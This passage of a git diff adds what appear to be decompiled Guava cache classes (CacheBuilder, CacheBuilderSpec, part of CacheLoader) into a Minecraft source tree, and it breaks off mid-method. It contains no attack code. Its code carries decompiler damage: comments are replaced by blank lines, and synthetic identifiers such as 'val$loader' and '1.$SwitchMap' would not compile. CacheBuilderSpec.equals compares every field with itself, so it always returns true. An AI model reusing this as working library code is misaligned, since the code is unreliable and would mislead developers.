+  static final Supplier<? extends AbstractCache.StatsCounter> NULL_STATS_COUNTER = Suppliers.ofInstance(new AbstractCache.StatsCounter()
+  {
+    public void recordHits(int count) {}
+    
+
+    public void recordMisses(int count) {}
+    
+
+    public void recordLoadSuccess(long loadTime) {}
+    
+
+    public void recordLoadException(long loadTime) {}
+    
+
+    public void recordEviction() {}
+    
+
+    public CacheStats snapshot()
+    {
+      return CacheBuilder.EMPTY_STATS;
+    }
+  });
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  static final CacheStats EMPTY_STATS = new CacheStats(0L, 0L, 0L, 0L, 0L, 0L);
+  
+  static final Supplier<AbstractCache.StatsCounter> CACHE_STATS_COUNTER = new Supplier()
+  {
+
+    public AbstractCache.StatsCounter get() {
+      return new AbstractCache.SimpleStatsCounter(); }
+  };
+  CacheBuilder() {}
+  
+  static enum NullListener implements RemovalListener<Object, Object> {
+    INSTANCE;
+    
+    private NullListener() {}
+    
+    public void onRemoval(RemovalNotification<Object, Object> notification) {}
+  }
+  
+  static enum OneWeigher implements Weigher<Object, Object> { INSTANCE;
+    
+    private OneWeigher() {}
+    
+    public int weigh(Object key, Object value) { return 1; }
+  }
+  
+
+  static final Ticker NULL_TICKER = new Ticker()
+  {
+    public long read() {
+      return 0L;
+    }
+  };
+  
+  private static final Logger logger = Logger.getLogger(CacheBuilder.class.getName());
+  
+  static final int UNSET_INT = -1;
+  
+  boolean strictParsing = true;
+  
+  int initialCapacity = -1;
+  int concurrencyLevel = -1;
+  long maximumSize = -1L;
+  long maximumWeight = -1L;
+  
+  Weigher<? super K, ? super V> weigher;
+  
+  LocalCache.Strength keyStrength;
+  LocalCache.Strength valueStrength;
+  long expireAfterWriteNanos = -1L;
+  long expireAfterAccessNanos = -1L;
+  long refreshNanos = -1L;
+  
+  Equivalence<Object> keyEquivalence;
+  
+  Equivalence<Object> valueEquivalence;
+  
+  RemovalListener<? super K, ? super V> removalListener;
+  Ticker ticker;
+  Supplier<? extends AbstractCache.StatsCounter> statsCounterSupplier = NULL_STATS_COUNTER;
+  
+
+
+
+
+
+
+  public static CacheBuilder<Object, Object> newBuilder()
+  {
+    return new CacheBuilder();
+  }
+  
+
+
+
+
+  @Beta
+  @GwtIncompatible("To be supported")
+  public static CacheBuilder<Object, Object> from(CacheBuilderSpec spec)
+  {
+    return spec.toCacheBuilder().lenientParsing();
+  }
+  
+
+
+
+
+
+
+
+  @Beta
+  @GwtIncompatible("To be supported")
+  public static CacheBuilder<Object, Object> from(String spec)
+  {
+    return from(CacheBuilderSpec.parse(spec));
+  }
+  
+
+
+  @GwtIncompatible("To be supported")
+  CacheBuilder<K, V> lenientParsing()
+  {
+    strictParsing = false;
+    return this;
+  }
+  
+
+
+
+
+
+  @GwtIncompatible("To be supported")
+  CacheBuilder<K, V> keyEquivalence(Equivalence<Object> equivalence)
+  {
+    Preconditions.checkState(keyEquivalence == null, "key equivalence was already set to %s", new Object[] { keyEquivalence });
+    keyEquivalence = ((Equivalence)Preconditions.checkNotNull(equivalence));
+    return this;
+  }
+  
+  Equivalence<Object> getKeyEquivalence() {
+    return (Equivalence)Objects.firstNonNull(keyEquivalence, getKeyStrength().defaultEquivalence());
+  }
+  
+
+
+
+
+
+
+  @GwtIncompatible("To be supported")
+  CacheBuilder<K, V> valueEquivalence(Equivalence<Object> equivalence)
+  {
+    Preconditions.checkState(valueEquivalence == null, "value equivalence was already set to %s", new Object[] { valueEquivalence });
+    
+    valueEquivalence = ((Equivalence)Preconditions.checkNotNull(equivalence));
+    return this;
+  }
+  
+  Equivalence<Object> getValueEquivalence() {
+    return (Equivalence)Objects.firstNonNull(valueEquivalence, getValueStrength().defaultEquivalence());
+  }
+  
+
+
+
+
+
+
+
+
+
+  public CacheBuilder<K, V> initialCapacity(int initialCapacity)
+  {
+    Preconditions.checkState(this.initialCapacity == -1, "initial capacity was already set to %s", new Object[] { Integer.valueOf(this.initialCapacity) });
+    
+    Preconditions.checkArgument(initialCapacity >= 0);
+    this.initialCapacity = initialCapacity;
+    return this;
+  }
+  
+  int getInitialCapacity() {
+    return initialCapacity == -1 ? 16 : initialCapacity;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public CacheBuilder<K, V> concurrencyLevel(int concurrencyLevel)
+  {
+    Preconditions.checkState(this.concurrencyLevel == -1, "concurrency level was already set to %s", new Object[] { Integer.valueOf(this.concurrencyLevel) });
+    
+    Preconditions.checkArgument(concurrencyLevel > 0);
+    this.concurrencyLevel = concurrencyLevel;
+    return this;
+  }
+  
+  int getConcurrencyLevel() {
+    return concurrencyLevel == -1 ? 4 : concurrencyLevel;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public CacheBuilder<K, V> maximumSize(long size)
+  {
+    Preconditions.checkState(maximumSize == -1L, "maximum size was already set to %s", new Object[] { Long.valueOf(maximumSize) });
+    
+    Preconditions.checkState(maximumWeight == -1L, "maximum weight was already set to %s", new Object[] { Long.valueOf(maximumWeight) });
+    
+    Preconditions.checkState(weigher == null, "maximum size can not be combined with weigher");
+    Preconditions.checkArgument(size >= 0L, "maximum size must not be negative");
+    maximumSize = size;
+    return this;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  @GwtIncompatible("To be supported")
+  public CacheBuilder<K, V> maximumWeight(long weight)
+  {
+    Preconditions.checkState(maximumWeight == -1L, "maximum weight was already set to %s", new Object[] { Long.valueOf(maximumWeight) });
+    
+    Preconditions.checkState(maximumSize == -1L, "maximum size was already set to %s", new Object[] { Long.valueOf(maximumSize) });
+    
+    maximumWeight = weight;
+    Preconditions.checkArgument(weight >= 0L, "maximum weight must not be negative");
+    return this;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  @GwtIncompatible("To be supported")
+  public <K1 extends K, V1 extends V> CacheBuilder<K1, V1> weigher(Weigher<? super K1, ? super V1> weigher)
+  {
+    Preconditions.checkState(this.weigher == null);
+    if (strictParsing) {
+      Preconditions.checkState(maximumSize == -1L, "weigher can not be combined with maximum size", new Object[] { Long.valueOf(maximumSize) });
+    }
+    
+
+
+
+    CacheBuilder<K1, V1> me = this;
+    weigher = ((Weigher)Preconditions.checkNotNull(weigher));
+    return me;
+  }
+  
+  long getMaximumWeight() {
+    if ((expireAfterWriteNanos == 0L) || (expireAfterAccessNanos == 0L)) {
+      return 0L;
+    }
+    return weigher == null ? maximumSize : maximumWeight;
+  }
+  
+
+  <K1 extends K, V1 extends V> Weigher<K1, V1> getWeigher()
+  {
+    return (Weigher)Objects.firstNonNull(weigher, OneWeigher.INSTANCE);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  @GwtIncompatible("java.lang.ref.WeakReference")
+  public CacheBuilder<K, V> weakKeys()
+  {
+    return setKeyStrength(LocalCache.Strength.WEAK);
+  }
+  
+  CacheBuilder<K, V> setKeyStrength(LocalCache.Strength strength) {
+    Preconditions.checkState(keyStrength == null, "Key strength was already set to %s", new Object[] { keyStrength });
+    keyStrength = ((LocalCache.Strength)Preconditions.checkNotNull(strength));
+    return this;
+  }
+  
+  LocalCache.Strength getKeyStrength() {
+    return (LocalCache.Strength)Objects.firstNonNull(keyStrength, LocalCache.Strength.STRONG);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  @GwtIncompatible("java.lang.ref.WeakReference")
+  public CacheBuilder<K, V> weakValues()
+  {
+    return setValueStrength(LocalCache.Strength.WEAK);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  @GwtIncompatible("java.lang.ref.SoftReference")
+  public CacheBuilder<K, V> softValues()
+  {
+    return setValueStrength(LocalCache.Strength.SOFT);
+  }
+  
+  CacheBuilder<K, V> setValueStrength(LocalCache.Strength strength) {
+    Preconditions.checkState(valueStrength == null, "Value strength was already set to %s", new Object[] { valueStrength });
+    valueStrength = ((LocalCache.Strength)Preconditions.checkNotNull(strength));
+    return this;
+  }
+  
+  LocalCache.Strength getValueStrength() {
+    return (LocalCache.Strength)Objects.firstNonNull(valueStrength, LocalCache.Strength.STRONG);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public CacheBuilder<K, V> expireAfterWrite(long duration, TimeUnit unit)
+  {
+    Preconditions.checkState(expireAfterWriteNanos == -1L, "expireAfterWrite was already set to %s ns", new Object[] { Long.valueOf(expireAfterWriteNanos) });
+    
+    Preconditions.checkArgument(duration >= 0L, "duration cannot be negative: %s %s", new Object[] { Long.valueOf(duration), unit });
+    expireAfterWriteNanos = unit.toNanos(duration);
+    return this;
+  }
+  
+  long getExpireAfterWriteNanos() {
+    return expireAfterWriteNanos == -1L ? 0L : expireAfterWriteNanos;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public CacheBuilder<K, V> expireAfterAccess(long duration, TimeUnit unit)
+  {
+    Preconditions.checkState(expireAfterAccessNanos == -1L, "expireAfterAccess was already set to %s ns", new Object[] { Long.valueOf(expireAfterAccessNanos) });
+    
+    Preconditions.checkArgument(duration >= 0L, "duration cannot be negative: %s %s", new Object[] { Long.valueOf(duration), unit });
+    expireAfterAccessNanos = unit.toNanos(duration);
+    return this;
+  }
+  
+  long getExpireAfterAccessNanos() {
+    return expireAfterAccessNanos == -1L ? 0L : expireAfterAccessNanos;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  @Beta
+  @GwtIncompatible("To be supported (synchronously).")
+  public CacheBuilder<K, V> refreshAfterWrite(long duration, TimeUnit unit)
+  {
+    Preconditions.checkNotNull(unit);
+    Preconditions.checkState(refreshNanos == -1L, "refresh was already set to %s ns", new Object[] { Long.valueOf(refreshNanos) });
+    Preconditions.checkArgument(duration > 0L, "duration must be positive: %s %s", new Object[] { Long.valueOf(duration), unit });
+    refreshNanos = unit.toNanos(duration);
+    return this;
+  }
+  
+  long getRefreshNanos() {
+    return refreshNanos == -1L ? 0L : refreshNanos;
+  }
+  
+
+
+
+
+
+
+
+
+  public CacheBuilder<K, V> ticker(Ticker ticker)
+  {
+    Preconditions.checkState(this.ticker == null);
+    this.ticker = ((Ticker)Preconditions.checkNotNull(ticker));
+    return this;
+  }
+  
+  Ticker getTicker(boolean recordsTime) {
+    if (ticker != null) {
+      return ticker;
+    }
+    return recordsTime ? Ticker.systemTicker() : NULL_TICKER;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  @CheckReturnValue
+  public <K1 extends K, V1 extends V> CacheBuilder<K1, V1> removalListener(RemovalListener<? super K1, ? super V1> listener)
+  {
+    Preconditions.checkState(removalListener == null);
+    
+
+
+    CacheBuilder<K1, V1> me = this;
+    removalListener = ((RemovalListener)Preconditions.checkNotNull(listener));
+    return me;
+  }
+  
+
+  <K1 extends K, V1 extends V> RemovalListener<K1, V1> getRemovalListener()
+  {
+    return (RemovalListener)Objects.firstNonNull(removalListener, NullListener.INSTANCE);
+  }
+  
+
+
+
+
+
+
+
+  public CacheBuilder<K, V> recordStats()
+  {
+    statsCounterSupplier = CACHE_STATS_COUNTER;
+    return this;
+  }
+  
+  boolean isRecordingStats() {
+    return statsCounterSupplier == CACHE_STATS_COUNTER;
+  }
+  
+  Supplier<? extends AbstractCache.StatsCounter> getStatsCounterSupplier() {
+    return statsCounterSupplier;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  public <K1 extends K, V1 extends V> LoadingCache<K1, V1> build(CacheLoader<? super K1, V1> loader)
+  {
+    checkWeightWithWeigher();
+    return new LocalCache.LocalLoadingCache(this, loader);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  public <K1 extends K, V1 extends V> Cache<K1, V1> build()
+  {
+    checkWeightWithWeigher();
+    checkNonLoadingCache();
+    return new LocalCache.LocalManualCache(this);
+  }
+  
+  private void checkNonLoadingCache() {
+    Preconditions.checkState(refreshNanos == -1L, "refreshAfterWrite requires a LoadingCache");
+  }
+  
+  private void checkWeightWithWeigher() {
+    if (weigher == null) {
+      Preconditions.checkState(maximumWeight == -1L, "maximumWeight requires weigher");
+    }
+    else if (strictParsing) {
+      Preconditions.checkState(maximumWeight != -1L, "weigher requires maximumWeight");
+    }
+    else if (maximumWeight == -1L) {
+      logger.log(Level.WARNING, "ignoring weigher specified without maximumWeight");
+    }
+  }
+  
+
+
+
+
+
+
+  public String toString()
+  {
+    Objects.ToStringHelper s = Objects.toStringHelper(this);
+    if (initialCapacity != -1) {
+      s.add("initialCapacity", initialCapacity);
+    }
+    if (concurrencyLevel != -1) {
+      s.add("concurrencyLevel", concurrencyLevel);
+    }
+    if (maximumSize != -1L) {
+      s.add("maximumSize", maximumSize);
+    }
+    if (maximumWeight != -1L) {
+      s.add("maximumWeight", maximumWeight);
+    }
+    if (expireAfterWriteNanos != -1L) {
+      s.add("expireAfterWrite", expireAfterWriteNanos + "ns");
+    }
+    if (expireAfterAccessNanos != -1L) {
+      s.add("expireAfterAccess", expireAfterAccessNanos + "ns");
+    }
+    if (keyStrength != null) {
+      s.add("keyStrength", Ascii.toLowerCase(keyStrength.toString()));
+    }
+    if (valueStrength != null) {
+      s.add("valueStrength", Ascii.toLowerCase(valueStrength.toString()));
+    }
+    if (keyEquivalence != null) {
+      s.addValue("keyEquivalence");
+    }
+    if (valueEquivalence != null) {
+      s.addValue("valueEquivalence");
+    }
+    if (removalListener != null) {
+      s.addValue("removalListener");
+    }
+    return s.toString();
+  }
+}
diff --git a/src/minecraft/com/google/common/cache/CacheBuilderSpec.java b/src/minecraft/com/google/common/cache/CacheBuilderSpec.java
new file mode 100644
index 0000000..4403e39
--- /dev/null
+++ b/src/minecraft/com/google/common/cache/CacheBuilderSpec.java
@@ -0,0 +1,474 @@
+package com.google.common.cache;
+
+import com.google.common.annotations.Beta;
+import com.google.common.annotations.VisibleForTesting;
+import com.google.common.base.Objects;
+import com.google.common.base.Objects.ToStringHelper;
+import com.google.common.base.Preconditions;
+import com.google.common.base.Splitter;
+import com.google.common.collect.ImmutableList;
+import com.google.common.collect.ImmutableMap;
+import com.google.common.collect.ImmutableMap.Builder;
+import java.util.List;
+import java.util.concurrent.TimeUnit;
+import javax.annotation.Nullable;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@Beta
+public final class CacheBuilderSpec
+{
+  private static final Splitter KEYS_SPLITTER = Splitter.on(',').trimResults();
+  
+
+  private static final Splitter KEY_VALUE_SPLITTER = Splitter.on('=').trimResults();
+  
+
+  private static final ImmutableMap<String, ValueParser> VALUE_PARSERS = ImmutableMap.builder().put("initialCapacity", new InitialCapacityParser()).put("maximumSize", new MaximumSizeParser()).put("maximumWeight", new MaximumWeightParser()).put("concurrencyLevel", new ConcurrencyLevelParser()).put("weakKeys", new KeyStrengthParser(LocalCache.Strength.WEAK)).put("softValues", new ValueStrengthParser(LocalCache.Strength.SOFT)).put("weakValues", new ValueStrengthParser(LocalCache.Strength.WEAK)).put("recordStats", new RecordStatsParser()).put("expireAfterAccess", new AccessDurationParser()).put("expireAfterWrite", new WriteDurationParser()).put("refreshAfterWrite", new RefreshDurationParser()).put("refreshInterval", new RefreshDurationParser()).build();
+  
+  @VisibleForTesting
+  Integer initialCapacity;
+  
+  @VisibleForTesting
+  Long maximumSize;
+  @VisibleForTesting
+  Long maximumWeight;
+  @VisibleForTesting
+  Integer concurrencyLevel;
+  @VisibleForTesting
+  LocalCache.Strength keyStrength;
+  @VisibleForTesting
+  LocalCache.Strength valueStrength;
+  @VisibleForTesting
+  Boolean recordStats;
+  @VisibleForTesting
+  long writeExpirationDuration;
+  @VisibleForTesting
+  TimeUnit writeExpirationTimeUnit;
+  @VisibleForTesting
+  long accessExpirationDuration;
+  @VisibleForTesting
+  TimeUnit accessExpirationTimeUnit;
+  @VisibleForTesting
+  long refreshDuration;
+  @VisibleForTesting
+  TimeUnit refreshTimeUnit;
+  private final String specification;
+  
+  private CacheBuilderSpec(String specification)
+  {
+    this.specification = specification;
+  }
+  
+
+
+
+
+  public static CacheBuilderSpec parse(String cacheBuilderSpecification)
+  {
+    CacheBuilderSpec spec = new CacheBuilderSpec(cacheBuilderSpecification);
+    if (!cacheBuilderSpecification.isEmpty()) {
+      for (String keyValuePair : KEYS_SPLITTER.split(cacheBuilderSpecification)) {
+        List<String> keyAndValue = ImmutableList.copyOf(KEY_VALUE_SPLITTER.split(keyValuePair));
+        Preconditions.checkArgument(!keyAndValue.isEmpty(), "blank key-value pair");
+        Preconditions.checkArgument(keyAndValue.size() <= 2, "key-value pair %s with more than one equals sign", new Object[] { keyValuePair });
+        
+
+
+        String key = (String)keyAndValue.get(0);
+        ValueParser valueParser = (ValueParser)VALUE_PARSERS.get(key);
+        Preconditions.checkArgument(valueParser != null, "unknown key %s", new Object[] { key });
+        
+        String value = keyAndValue.size() == 1 ? null : (String)keyAndValue.get(1);
+        valueParser.parse(spec, key, value);
+      }
+    }
+    
+    return spec;
+  }
+  
+
+
+
+  public static CacheBuilderSpec disableCaching()
+  {
+    return parse("maximumSize=0");
+  }
+  
+
+
+  CacheBuilder<Object, Object> toCacheBuilder()
+  {
+    CacheBuilder<Object, Object> builder = CacheBuilder.newBuilder();
+    if (initialCapacity != null) {
+      builder.initialCapacity(initialCapacity.intValue());
+    }
+    if (maximumSize != null) {
+      builder.maximumSize(maximumSize.longValue());
+    }
+    if (maximumWeight != null) {
+      builder.maximumWeight(maximumWeight.longValue());
+    }
+    if (concurrencyLevel != null) {
+      builder.concurrencyLevel(concurrencyLevel.intValue());
+    }
+    if (keyStrength != null) {
+      switch (1.$SwitchMap$com$google$common$cache$LocalCache$Strength[keyStrength.ordinal()]) {
+      case 1: 
+        builder.weakKeys();
+        break;
+      default: 
+        throw new AssertionError();
+      }
+    }
+    if (valueStrength != null) {
+      switch (1.$SwitchMap$com$google$common$cache$LocalCache$Strength[valueStrength.ordinal()]) {
+      case 2: 
+        builder.softValues();
+        break;
+      case 1: 
+        builder.weakValues();
+        break;
+      default: 
+        throw new AssertionError();
+      }
+    }
+    if ((recordStats != null) && (recordStats.booleanValue())) {
+      builder.recordStats();
+    }
+    if (writeExpirationTimeUnit != null) {
+      builder.expireAfterWrite(writeExpirationDuration, writeExpirationTimeUnit);
+    }
+    if (accessExpirationTimeUnit != null) {
+      builder.expireAfterAccess(accessExpirationDuration, accessExpirationTimeUnit);
+    }
+    if (refreshTimeUnit != null) {
+      builder.refreshAfterWrite(refreshDuration, refreshTimeUnit);
+    }
+    
+    return builder;
+  }
+  
+
+
+
+
+
+  public String toParsableString()
+  {
+    return specification;
+  }
+  
+
+
+
+
+  public String toString()
+  {
+    return Objects.toStringHelper(this).addValue(toParsableString()).toString();
+  }
+  
+  public int hashCode()
+  {
+    return Objects.hashCode(new Object[] { initialCapacity, maximumSize, maximumWeight, concurrencyLevel, keyStrength, valueStrength, recordStats, durationInNanos(writeExpirationDuration, writeExpirationTimeUnit), durationInNanos(accessExpirationDuration, accessExpirationTimeUnit), durationInNanos(refreshDuration, refreshTimeUnit) });
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public boolean equals(@Nullable Object obj)
+  {
+    if (this == obj) {
+      return true;
+    }
+    if (!(obj instanceof CacheBuilderSpec)) {
+      return false;
+    }
+    CacheBuilderSpec that = (CacheBuilderSpec)obj;
+    return (Objects.equal(initialCapacity, initialCapacity)) && (Objects.equal(maximumSize, maximumSize)) && (Objects.equal(maximumWeight, maximumWeight)) && (Objects.equal(concurrencyLevel, concurrencyLevel)) && (Objects.equal(keyStrength, keyStrength)) && (Objects.equal(valueStrength, valueStrength)) && (Objects.equal(recordStats, recordStats)) && (Objects.equal(durationInNanos(writeExpirationDuration, writeExpirationTimeUnit), durationInNanos(writeExpirationDuration, writeExpirationTimeUnit))) && (Objects.equal(durationInNanos(accessExpirationDuration, accessExpirationTimeUnit), durationInNanos(accessExpirationDuration, accessExpirationTimeUnit))) && (Objects.equal(durationInNanos(refreshDuration, refreshTimeUnit), durationInNanos(refreshDuration, refreshTimeUnit)));
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  @Nullable
+  private static Long durationInNanos(long duration, @Nullable TimeUnit unit) { return unit == null ? null : Long.valueOf(unit.toNanos(duration)); }
+  
+  private static abstract interface ValueParser { public abstract void parse(CacheBuilderSpec paramCacheBuilderSpec, String paramString1, @Nullable String paramString2);
+  }
+  
+  static abstract class IntegerParser implements CacheBuilderSpec.ValueParser { IntegerParser() {}
+    
+    protected abstract void parseInteger(CacheBuilderSpec paramCacheBuilderSpec, int paramInt);
+    
+    public void parse(CacheBuilderSpec spec, String key, String value) { Preconditions.checkArgument((value != null) && (!value.isEmpty()), "value of key %s omitted", new Object[] { key });
+      try {
+        parseInteger(spec, Integer.parseInt(value));
+      } catch (NumberFormatException e) {
+        throw new IllegalArgumentException(String.format("key %s value set to %s, must be integer", new Object[] { key, value }), e);
+      }
+    }
+  }
+  
+  static abstract class LongParser implements CacheBuilderSpec.ValueParser
+  {
+    LongParser() {}
+    
+    protected abstract void parseLong(CacheBuilderSpec paramCacheBuilderSpec, long paramLong);
+    
+    public void parse(CacheBuilderSpec spec, String key, String value) {
+      Preconditions.checkArgument((value != null) && (!value.isEmpty()), "value of key %s omitted", new Object[] { key });
+      try {
+        parseLong(spec, Long.parseLong(value));
+      } catch (NumberFormatException e) {
+        throw new IllegalArgumentException(String.format("key %s value set to %s, must be integer", new Object[] { key, value }), e);
+      }
+    }
+  }
+  
+  static class InitialCapacityParser extends CacheBuilderSpec.IntegerParser
+  {
+    InitialCapacityParser() {}
+    
+    protected void parseInteger(CacheBuilderSpec spec, int value) {
+      Preconditions.checkArgument(initialCapacity == null, "initial capacity was already set to ", new Object[] { initialCapacity });
+      
+      initialCapacity = Integer.valueOf(value);
+    }
+  }
+  
+  static class MaximumSizeParser extends CacheBuilderSpec.LongParser {
+    MaximumSizeParser() {}
+    
+    protected void parseLong(CacheBuilderSpec spec, long value) {
+      Preconditions.checkArgument(maximumSize == null, "maximum size was already set to ", new Object[] { maximumSize });
+      
+      Preconditions.checkArgument(maximumWeight == null, "maximum weight was already set to ", new Object[] { maximumWeight });
+      
+      maximumSize = Long.valueOf(value);
+    }
+  }
+  
+  static class MaximumWeightParser extends CacheBuilderSpec.LongParser {
+    MaximumWeightParser() {}
+    
+    protected void parseLong(CacheBuilderSpec spec, long value) {
+      Preconditions.checkArgument(maximumWeight == null, "maximum weight was already set to ", new Object[] { maximumWeight });
+      
+      Preconditions.checkArgument(maximumSize == null, "maximum size was already set to ", new Object[] { maximumSize });
+      
+      maximumWeight = Long.valueOf(value);
+    }
+  }
+  
+  static class ConcurrencyLevelParser extends CacheBuilderSpec.IntegerParser {
+    ConcurrencyLevelParser() {}
+    
+    protected void parseInteger(CacheBuilderSpec spec, int value) {
+      Preconditions.checkArgument(concurrencyLevel == null, "concurrency level was already set to ", new Object[] { concurrencyLevel });
+      
+      concurrencyLevel = Integer.valueOf(value);
+    }
+  }
+  
+  static class KeyStrengthParser implements CacheBuilderSpec.ValueParser
+  {
+    private final LocalCache.Strength strength;
+    
+    public KeyStrengthParser(LocalCache.Strength strength) {
+      this.strength = strength;
+    }
+    
+    public void parse(CacheBuilderSpec spec, String key, @Nullable String value)
+    {
+      Preconditions.checkArgument(value == null, "key %s does not take values", new Object[] { key });
+      Preconditions.checkArgument(keyStrength == null, "%s was already set to %s", new Object[] { key, keyStrength });
+      keyStrength = strength;
+    }
+  }
+  
+  static class ValueStrengthParser implements CacheBuilderSpec.ValueParser
+  {
+    private final LocalCache.Strength strength;
+    
+    public ValueStrengthParser(LocalCache.Strength strength) {
+      this.strength = strength;
+    }
+    
+    public void parse(CacheBuilderSpec spec, String key, @Nullable String value)
+    {
+      Preconditions.checkArgument(value == null, "key %s does not take values", new Object[] { key });
+      Preconditions.checkArgument(valueStrength == null, "%s was already set to %s", new Object[] { key, valueStrength });
+      
+
+      valueStrength = strength;
+    }
+  }
+  
+  static class RecordStatsParser implements CacheBuilderSpec.ValueParser
+  {
+    RecordStatsParser() {}
+    
+    public void parse(CacheBuilderSpec spec, String key, @Nullable String value) {
+      Preconditions.checkArgument(value == null, "recordStats does not take values");
+      Preconditions.checkArgument(recordStats == null, "recordStats already set");
+      recordStats = Boolean.valueOf(true);
+    }
+  }
+  
+  static abstract class DurationParser
+    implements CacheBuilderSpec.ValueParser
+  {
+    DurationParser() {}
+    
+    protected abstract void parseDuration(CacheBuilderSpec paramCacheBuilderSpec, long paramLong, TimeUnit paramTimeUnit);
+    
+    public void parse(CacheBuilderSpec spec, String key, String value)
+    {
+      Preconditions.checkArgument((value != null) && (!value.isEmpty()), "value of key %s omitted", new Object[] { key });
+      try {
+        char lastChar = value.charAt(value.length() - 1);
+        TimeUnit timeUnit;
+        switch (lastChar) {
+        case 'd': 
+          timeUnit = TimeUnit.DAYS;
+          break;
+        case 'h': 
+          timeUnit = TimeUnit.HOURS;
+          break;
+        case 'm': 
+          timeUnit = TimeUnit.MINUTES;
+          break;
+        case 's': 
+          timeUnit = TimeUnit.SECONDS;
+          break;
+        default: 
+          throw new IllegalArgumentException(String.format("key %s invalid format.  was %s, must end with one of [dDhHmMsS]", new Object[] { key, value }));
+        }
+        
+        
+
+        long duration = Long.parseLong(value.substring(0, value.length() - 1));
+        parseDuration(spec, duration, timeUnit);
+      } catch (NumberFormatException e) {
+        throw new IllegalArgumentException(String.format("key %s value set to %s, must be integer", new Object[] { key, value }));
+      }
+    }
+  }
+  
+  static class AccessDurationParser extends CacheBuilderSpec.DurationParser {
+    AccessDurationParser() {}
+    
+    protected void parseDuration(CacheBuilderSpec spec, long duration, TimeUnit unit) {
+      Preconditions.checkArgument(accessExpirationTimeUnit == null, "expireAfterAccess already set");
+      accessExpirationDuration = duration;
+      accessExpirationTimeUnit = unit;
+    }
+  }
+  
+  static class WriteDurationParser extends CacheBuilderSpec.DurationParser {
+    WriteDurationParser() {}
+    
+    protected void parseDuration(CacheBuilderSpec spec, long duration, TimeUnit unit) { Preconditions.checkArgument(writeExpirationTimeUnit == null, "expireAfterWrite already set");
+      writeExpirationDuration = duration;
+      writeExpirationTimeUnit = unit;
+    }
+  }
+  
+  static class RefreshDurationParser extends CacheBuilderSpec.DurationParser {
+    RefreshDurationParser() {}
+    
+    protected void parseDuration(CacheBuilderSpec spec, long duration, TimeUnit unit) { Preconditions.checkArgument(refreshTimeUnit == null, "refreshAfterWrite already set");
+      refreshDuration = duration;
+      refreshTimeUnit = unit;
+    }
+  }
+}
diff --git a/src/minecraft/com/google/common/cache/CacheLoader.java b/src/minecraft/com/google/common/cache/CacheLoader.java
new file mode 100644
index 0000000..8de03f1
--- /dev/null
+++ b/src/minecraft/com/google/common/cache/CacheLoader.java
@@ -0,0 +1,240 @@
+package com.google.common.cache;
+
+import com.google.common.annotations.Beta;
+import com.google.common.annotations.GwtCompatible;
+import com.google.common.annotations.GwtIncompatible;
+import com.google.common.base.Function;
+import com.google.common.base.Preconditions;
+import com.google.common.base.Supplier;
+import com.google.common.util.concurrent.Futures;
+import com.google.common.util.concurrent.ListenableFuture;
+import com.google.common.util.concurrent.ListenableFutureTask;
+import java.io.Serializable;
+import java.util.Map;
+import java.util.concurrent.Callable;
+import java.util.concurrent.Executor;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@GwtCompatible(emulated=true)
+public abstract class CacheLoader<K, V>
+{
+  protected CacheLoader() {}
+  
+  public abstract V load(K paramK)
+    throws Exception;
+  
+  @GwtIncompatible("Futures")
+  public ListenableFuture<V> reload(K key, V oldValue)
+    throws Exception
+  {
+    Preconditions.checkNotNull(key);
+    Preconditions.checkNotNull(oldValue);
+    return Futures.immediateFuture(load(key));
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public Map<K, V> loadAll(Iterable<? extends K> keys)
+    throws Exception
+  {
+    throw new UnsupportedLoadingOperationException();
+  }
+  
+
+
+
+
+
+
+
+  @Beta
+  public static <K, V> CacheLoader<K, V> from(Function<K, V> function)
+  {
+    return new FunctionToCacheLoader(function);
+  }
+  
+  private static final class FunctionToCacheLoader<K, V> extends CacheLoader<K, V> implements Serializable {
+    private final Function<K, V> computingFunction;
+    private static final long serialVersionUID = 0L;
+    
+    public FunctionToCacheLoader(Function<K, V> computingFunction) {
+      this.computingFunction = ((Function)Preconditions.checkNotNull(computingFunction));
+    }
+    
+    public V load(K key)
+    {
+      return computingFunction.apply(Preconditions.checkNotNull(key));
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  @Beta
+  public static <V> CacheLoader<Object, V> from(Supplier<V> supplier)
+  {
+    return new SupplierToCacheLoader(supplier);
+  }
+  
+
+
+
+
+
+
+
+
+
+  @Beta
+  @GwtIncompatible("Executor + Futures")
+  public static <K, V> CacheLoader<K, V> asyncReloading(CacheLoader<K, V> loader, final Executor executor)
+  {
+    Preconditions.checkNotNull(loader);
+    Preconditions.checkNotNull(executor);
+    new CacheLoader()
+    {
+      public V load(K key) throws Exception {
+        return val$loader.load(key);
